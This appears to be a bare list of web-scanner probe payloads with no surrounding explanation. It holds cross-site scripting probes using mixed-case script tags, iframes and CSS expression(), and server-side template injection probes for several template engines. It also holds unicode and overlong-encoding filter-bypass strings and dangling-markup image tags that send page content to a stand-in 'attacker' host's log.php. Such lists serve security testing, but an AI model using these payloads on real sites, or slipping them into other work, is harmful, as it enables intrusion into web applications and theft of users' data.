555}body{zzz:Expre/**/SSion(2HIg(9231))}

555<ifRAme sRc=9720.com></IfRamE>

bfgx1905\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1905

bfg3163\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3163

bfg8415\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8415

bfgx5606\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5606

<%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >31Dl(9886)</ScRiPt>

1}dfb#set($x=98991*97996)${x}xca

555nLuSb <ScRiPt >2HIg(9930)</ScRiPt>

555}body{zzz:Expre/**/SSion(iLVD(9992))}

bfgx4682\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4682

555<aHtGiWx x=9409>

555<aSl2yd2 x=9728>

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >31Dl(9057)</ScRiPt>

<%={{={@{#{${dfb}}%>

555Lgem6 <ScRiPt >iLVD(9145)</ScRiPt>

bfgx6510\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6510

555<WYUCMC>8W3YI[!+!]</WYUCMC>

555

1}dfb{{"abc"|title}}xca

555'"()&%<zzz><ScRiPt >y86H(9932)</ScRiPt>

555<img sRc='http://attacker-9292/log.php?

555

555<WCJBXF>SZLVZ[!+!]</WCJBXF>

555

<%={{={@{#{${dfb}}%>

5559643109

555<aZt6IcL<

555<img sRc='http://attacker-9314/log.php?

555<ifRAme sRc=9454.com></IfRamE>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<ifRAme sRc=9638.com></IfRamE>

<th:t="${dfb}#foreach

'"()&%<zzz><ScRiPt >y86H(9722)</ScRiPt>

1print("dfb" . 98991*97996 . "xca")

dfb{{98991*97996}}xca

bfg6882\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6882

555<a9zlqhq<

555<a33cZNl x=9009>

198991*97996*98991*97996

555

5559000086

555

555

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfg10493\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10493

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

bfgx2067\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2067